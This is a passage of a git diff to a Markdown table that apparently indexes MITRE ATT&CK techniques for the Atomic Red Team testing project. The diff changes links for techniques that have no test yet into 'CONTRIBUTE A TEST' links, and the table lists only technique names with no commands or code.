Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [BITS Jobs](./T1197/T1197.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote Desktop Protocol](./T1076/T1076.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | [Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | [Process Discovery](./T1057/T1057.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [DCShadow](./T1207/T1207.md) | [Input Prompt](./T1141/T1141.md) | [Query Registry](./T1012/T1012.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Screen Capture](./T1113/T1113.md) | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Keychain](./T1142/T1142.md) | [Security Software Discovery](./T1063/T1063.md) | [Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Mshta](./T1170/T1170.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launch Daemon](./T1160/T1160.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Information Discovery](./T1082/T1082.md) | [Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [PowerShell](./T1086/T1086.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Configuration Discovery](./T1016/T1016.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | [External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Regsvr32](./T1117/T1117.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Plist Modification](./T1150/T1150.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File Deletion](./T1107/T1107.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Service Discovery](./T1007/T1007.md) | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | [File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Time Discovery](./T1124/T1124.md) | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | -| | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | -| | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Startup Items](./T1165/T1165.md) | [Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | -| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | +| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Process Discovery](./T1057/T1057.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DCShadow](./T1207/T1207.md) | [Input Prompt](./T1141/T1141.md) | [Query Registry](./T1012/T1012.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Keychain](./T1142/T1142.md) | [Security Software Discovery](./T1063/T1063.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Mshta](./T1170/T1170.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Time Discovery](./T1124/T1124.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | +| | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | +| | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | 